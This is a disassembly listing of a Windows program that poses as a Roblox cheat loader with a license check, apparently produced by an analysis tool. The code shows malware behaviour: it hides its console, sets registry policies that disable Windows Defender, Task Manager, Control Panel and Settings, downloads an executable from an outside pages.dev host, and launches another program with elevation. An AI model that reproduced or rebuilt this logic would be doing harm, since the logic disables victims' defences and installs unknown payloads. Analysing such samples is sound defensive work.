Function at 0x14001173f
Capabilities:
Create process on windows

Disassembly:
jmp 0x14001f540
push rbp
push rdi
sub rsp, 0xab8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1e6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0xa88], rax
mov dword [rbp + 0xa74], 0
lea rcx, [0x14003a10d]
call fcn.140011a55
nop
call fcn.1400113ac
movzx eax, al
test eax, eax
jne 0x14001f59a
call fcn.140011b31
nop
lea rcx, [rbp + 8]
call fcn.140011a46
nop
lea rdx, str.Enter_your_license:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001111d
nop
lea rdx, [rbp + 8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140011046
nop
lea rdx, str.http:__51.38.67.90_
lea rcx, [rbp + 0x438]
call fcn.14001135c
nop
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0x48]
call fcn.1400113ed
nop
lea rcx, [rbp + 0x438]
call fcn.14001190b
nop
lea rcx, [rbp + 0x48]
call fcn.14001125d
movzx eax, al
test eax, eax
jne 0x14001f61f
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 8]
call fcn.14001155f
movzx eax, al
test eax, eax
jne 0x14001f677
lea rdx, str.License_is_either_banned_or_invalid._nIf_you_believe_this_is_a_mistake_Please_contact_support._nClosing_in_5_seconds...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001111d
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov dword [rbp + 0x474], 1
lea rcx, [rbp + 0x48]
call fcn.1400111d6
nop
lea rcx, [rbp + 8]
call fcn.1400111d6
mov eax, dword [rbp + 0x474]
jmp 0x14001fc81
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 0x88], rax
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rdx, str.DisableAntiSpyware
lea rcx, [rbp + 0x498]
call fcn.14001149c
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
lea rcx, [rbp + 0x4d8]
call fcn.14001149c
nop
mov r9d, 1
lea r8, [rbp + 0x498]
lea rdx, [rbp + 0x4d8]
mov rcx, 0xffffffff80000002
call fcn.14001161d
nop
lea rcx, [rbp + 0x4d8]
call fcn.1400111d6
nop
lea rcx, [rbp + 0x498]
call fcn.1400111d6
nop
lea rdx, str.DisableBehaviorMonitoring
lea rcx, [rbp + 0x518]
call fcn.14001149c
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, [rbp + 0x558]
call fcn.14001149c
nop
mov r9d, 1
lea r8, [rbp + 0x518]
lea rdx, [rbp + 0x558]
mov rcx, 0xffffffff80000002
call fcn.14001161d
nop
lea rcx, [rbp + 0x558]
call fcn.1400111d6
nop
lea rcx, [rbp + 0x518]
call fcn.1400111d6
nop
lea rdx, str.DisableOnAccessProtection
lea rcx, [rbp + 0x598]
call fcn.14001149c
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, [rbp + 0x5d8]
call fcn.14001149c
nop
mov r9d, 1
lea r8, [rbp + 0x598]
lea rdx, [rbp + 0x5d8]
mov rcx, 0xffffffff80000002
call fcn.14001161d
nop
lea rcx, [rbp + 0x5d8]
call fcn.1400111d6
nop
lea rcx, [rbp + 0x598]
call fcn.1400111d6
nop
lea rdx, str.DisableScanOnRealtimeEnable
lea rcx, [rbp + 0x618]
call fcn.14001149c
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, [rbp + 0x658]
call fcn.14001149c
nop
mov r9d, 1
lea r8, [rbp + 0x618]
lea rdx, [rbp + 0x658]
mov rcx, 0xffffffff80000002
call fcn.14001161d
nop
lea rcx, [rbp + 0x658]
call fcn.1400111d6
nop
lea rcx, [rbp + 0x618]
call fcn.1400111d6
nop
lea rdx, str.DisableTaskMgr
lea rcx, [rbp + 0x698]
call fcn.14001149c
nop
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
lea rcx, [rbp + 0x6d8]
call fcn.14001149c
nop
mov r9d, 1
lea r8, [rbp + 0x698]
lea rdx, [rbp + 0x6d8]
mov rcx, 0xffffffff80000001
call fcn.14001161d
nop
lea rcx, [rbp + 0x6d8]
call fcn.1400111d6
nop
lea rcx, [rbp + 0x698]
call fcn.1400111d6
nop
lea rdx, str.NoControlPanel
lea rcx, [rbp + 0x718]
call fcn.14001149c
nop
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
lea rcx, [rbp + 0x758]
call fcn.14001149c
nop
mov r9d, 1
lea r8, [rbp + 0x718]
lea rdx, [rbp + 0x758]
mov rcx, 0xffffffff80000002
call fcn.14001161d
nop
lea rcx, [rbp + 0x758]
call fcn.1400111d6
nop
lea rcx, [rbp + 0x718]
call fcn.1400111d6
nop
lea rdx, str.DisableSettingsPage
lea rcx, [rbp + 0x798]
call fcn.14001149c
nop
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
lea rcx, [rbp + 0x7d8]
call fcn.14001149c
nop
mov r9d, 1
lea r8, [rbp + 0x798]
lea rdx, [rbp + 0x7d8]
mov rcx, 0xffffffff80000002
call fcn.14001161d
nop
lea rcx, [rbp + 0x7d8]
call fcn.1400111d6
nop
lea rcx, [rbp + 0x798]
call fcn.1400111d6
nop
lea rdx, str.123987.exe
lea rcx, [rbp + 0x818]
call fcn.14001135c
nop
lea rdx, str.https:__sigmasigmaareyouthere4343.pages.dev_123987.exe
lea rcx, [rbp + 0x858]
call fcn.14001135c
nop
lea rdx, [rbp + 0x818]
lea rcx, [rbp + 0x858]
call fcn.140011abe
nop
lea rcx, [rbp + 0x858]
call fcn.14001190b
nop
lea rcx, [rbp + 0x818]
call fcn.14001190b
nop
lea rdx, str.version_d2bde6b0a05e4840
lea rcx, [rbp + 0x8b8]
call fcn.14001149c
nop
lea rdx, str.https:__clientsettingscdn.roblox.com_v2_client_version_WindowsPlayer
lea rcx, [rbp + 0x8f8]
call fcn.14001135c
nop
lea rdx, [rbp + 0x8b8]
lea rcx, [rbp + 0x8f8]
call fcn.1400113b1
mov byte [rbp + 0x894], al
lea rcx, [rbp + 0x8f8]
call fcn.14001190b
nop
lea rcx, [rbp + 0x8b8]
call fcn.1400111d6
movzx eax, byte [rbp + 0x894]
test eax, eax
je 0x14001fa2a
lea rdx, str.Version_check_successful._Attempting_to_attach
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001111d
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14001fa6c
xor r9d, r9d
lea r8, str.Version_Check
lea rdx, str.Roblox_updated._Check_the_discord
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov dword [rbp + 0x934], 1
lea rcx, [rbp + 0x48]
call fcn.1400111d6
nop
lea rcx, [rbp + 8]
call fcn.1400111d6
mov eax, dword [rbp + 0x934]
jmp 0x14001fc81
lea rdx, str.Bloxstrap.exe
lea rcx, [rbp + 0x978]
call fcn.14001135c
nop
mov eax, dword [rbp + 0xa74]
or eax, 1
mov dword [rbp + 0xa74], eax
lea rcx, [rbp + 0x978]
call fcn.140011a41
movzx eax, al
test eax, eax
je 0x14001fae4
lea rdx, str.RobloxPlayerBeta.exe
lea rcx, [rbp + 0x9b8]
call fcn.14001135c
nop
mov eax, dword [rbp + 0xa74]
or eax, 2
mov dword [rbp + 0xa74], eax
lea rcx, [rbp + 0x9b8]
call fcn.140011a41
movzx eax, al
test eax, eax
je 0x14001fae4
mov dword [rbp + 0xa84], 1
jmp 0x14001faee
mov dword [rbp + 0xa84], 0
movzx eax, byte [rbp + 0xa84]
mov byte [rbp + 0x954], al
mov eax, dword [rbp + 0xa74]
and eax, 2
test eax, eax
je 0x14001fb1c
and dword [rbp + 0xa74], 0xfffffffd
lea rcx, [rbp + 0x9b8]
call fcn.14001190b
nop
mov eax, dword [rbp + 0xa74]
and eax, 1
test eax, eax
je 0x14001fb3d
and dword [rbp + 0xa74], 0xfffffffe
lea rcx, [rbp + 0x978]
call fcn.14001190b
nop
movzx eax, byte [rbp + 0x954]
test eax, eax
je 0x14001fc44
lea rdx, str.loading...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001111d
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rdx, str.UI.exe
lea rcx, [rbp + 0xa18]
call fcn.14001135c
nop
lea rcx, [rbp + 0xa18]
call fcn.1400117ad
mov byte [rbp + 0x9f4], al
lea rcx, [rbp + 0xa18]
call fcn.14001190b
movzx eax, byte [rbp + 0x9f4]
test eax, eax
je 0x14001fc28
mov dword [rbp + 0xb0], 0x70
lea rax, [rbp + 0xb4]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, [0x14002ca38]
mov qword [rbp + 0xc0], rax
lea rax, str.UI.exe
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xb8], 0
mov dword [rbp + 0xe0], 1
lea rcx, [rbp + 0xb0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x14001fc26
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Failed_to_attach
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
jmp 0x14001fc42
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Failed_to_attach
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
jmp 0x14001fc5e
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Failed_to_attach
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov dword [rbp + 0xa54], 0
lea rcx, [rbp + 0x48]
call fcn.1400111d6
nop
lea rcx, [rbp + 8]
call fcn.1400111d6
mov eax, dword [rbp + 0xa54]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002bcf0]
call fcn.1400118b1
mov rax, rdi
mov rcx, qword [rbp + 0xa88]
xor rcx, rbp
call fcn.1400114f1
lea rsp, [rbp + 0xa98]
pop rdi
pop rbp
ret